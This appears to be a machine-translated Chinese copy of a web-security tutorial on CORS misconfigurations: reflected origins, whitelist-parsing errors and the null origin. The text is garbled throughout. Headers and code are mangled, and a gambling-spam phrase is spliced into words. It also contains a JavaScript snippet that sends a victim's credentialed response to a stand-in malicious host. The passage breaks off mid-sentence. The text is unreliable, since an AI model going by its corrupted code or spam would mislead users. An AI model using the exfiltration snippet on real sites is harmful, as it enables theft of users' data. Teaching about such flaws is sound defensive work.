1. beplay体育能用吗网络安全学院
  2. 结束

跨起源资源共享(CORS)

在本节中,我们将解释哪些跨原点资源共享(CORS),描述了基于跨原因资源共享的帧群的一些常见示例,并讨论如何防止这些攻击。

什么是CORS(交叉来源资源共享)?

交叉原点资源共享(CORS)是一种浏览器机制,它可以控制访问位于给定域之外的资源。它扩展并增添了同样原始政策的灵活性(SOP.)。但是,如果网站的CORS策略配置和实施,则它还提供基于跨域攻击的潜力。beplay体育能用吗CORS不是对跨原因攻击的保护,如跨站点请求伪造(CSRF)。

结束

同名政策

同样的策略是限制性跨起轨规范,它限制了网站与源域之外的资源交互的能力。beplay体育能用吗同样的策略是多年前定义的,以响应可能的恶意跨域交互,例如一个网站窃取另一个人的私人数据。beplay体育能用吗它通常允许域向其他域发出请求,而不是访问响应。

放松同样的政策

同样的原产政策是非常严格的,因此已经设计了各种方法来规避约束。许多网站以beplay体育能用吗满足需要全交发型访问的方式与子域或第三方站点交互。使用跨原因资源共享(CORS)可以控制相同原始策略的受控放松。

跨原点资源共享协议使用一套HTTP标头,该HTTP标头定义可信Web Origins和关联属性,例如是否允许身份验证的访问。beplay体育能用吗它们在浏览器和跨原点网站之间的标题交换中组合在一起它尝试访问。beplay体育能用吗

来自CORS配置问题产生的漏洞

许多现代网站使用CORSbeplay体育能用吗允许访问子域和信任的第三方。他们的CORS实施可能包含错误或过度宽容,以确保一切都有效,这可能导致可利用漏洞。

服务器生成Acao.来自客户端指定的原点标头的标题

某些应用程序需要提供对许多其他域的访问。维护允许域名列表需要持续的努力,并且任何错误都会出现破坏功能。因此,某些应用程序采用简单的路线有效地允许从任何其他域访问访问。

这样做的一种方法是通过从请求读取原始标题,并且包括响应标题,说明允许请求原点。例如,考虑一个接收以下请求的应用程序:

获取/敏感 - 受害者 - 数据http / 1.1
主机:vvstnerable-webeplay体育能用吗bsite.com.
起源:https://maliice-websitebeplay体育能用吗.com.
cookie:sessionid = ...

然后回应:

http / 1.1 200确定
访问控制 - 允许 - 源:https://malious-website.combeplay体育能用吗
访问控制 - 允许凭据:true
......

这些标题状态从请求域中允许访问访问权限(恶意 - Websbeplay体育能用吗ite.com.)跨域请求可以包括cookie(访问控制 - 允许凭据:true)也将在会议中加工。

因为应用程序反映了任意的起源访问控制允许原点标题,这意味着绝对任何域都可以从易受攻击的域访问资源。如果响应包含任何敏感信息,例如API键或CSRF令牌,您可以通过在您的网站上放置以下脚本来检索此操作:beplay体育能用吗

var req = new xmlhttproquest();
req.onload = reqlistener;
req.open('get','https://vulnerable-beplay体育能用吗website.com/sisensitive-victim-data'strue);
req.withcredentials = true;
req.send();

函数reqlistener(){
location ='// malicioubeplay体育能用吗s-website.com/log?key='+这件.responseText;
};

错误解析原产标头

通过使用允许的起源的白名单来支持从多个起源访问的某些应用程序。当收到CORS请求时,将提供的原点与白名单进行比较。如果原点出现在白名单上,那么它就会反映在访问控制允许原点标题以便授予访问权限。例如,应用程序接收正常请求,如:

获取/数据http / 1.1
host:promal-wbeplay体育能用吗ebsite.com.
......
起源:https://innocent-websibeplay体育能用吗te.com.

该应用程序将提供的原点符合其允许的起源列表,并且如果它在列表中,则反映原点如下:

http / 1.1 200确定
......
访问控制 - 允许 - 源:https://innocent-website.combeplay体育能用吗

在实施CORS OUNING白名单时经常出现错误。有些组织决定允许访问所有子域名(包括尚未存在的未来子域)。一些应用程序允许从包含其子域内的各种其他组织域的访问。这些规则通常通过匹配URL前缀或后缀或使用正则表达式来实现。实施中的任何错误都可能导致访问意外的外部域名。

例如,假设应用程序授予最终结束的所有域名:

普通 - Wbeplay体育能用吗ebSite.com.

攻击者可能能够通过注册域来获得访问:

hackersnormal-beplay体育能用吗website.com.

或者,假设应用程序授予从中开始访问所有域

普通 - Wbeplay体育能用吗ebSite.com.

攻击者可能能够使用域获得访问权限:

promalebeplay体育能用吗-website.com.evil-user.net.

白名单零点值

原始标题的规范支持该值空值。浏览器可能会发送价值空值在各种异常情况下的原始标题中:

  • 跨站点重定向。
  • 序列化数据的请求。
  • 请求使用文件:协议。
  • 沙盒交叉原点请求。

有些应用程序可能会白名单空值支持本地申请的本地发展。例如,假设应用程序接收以下跨域请求:

获取/敏感 - 受害者数据
主机:vvstnerable-webeplay体育能用吗bsite.com.
起源:null.

服务器响应:

http / 1.1 200确定
访问控制 - 允许 - 源:null
访问控制 - 允许凭据:true

在这种情况下,攻击者可以使用各种技巧来生成包含该值的跨域请求空值在原始标题中。这将满足白名单,导致跨域访问。例如,这可以使用沙箱完成iframe.表单的交叉原点请求: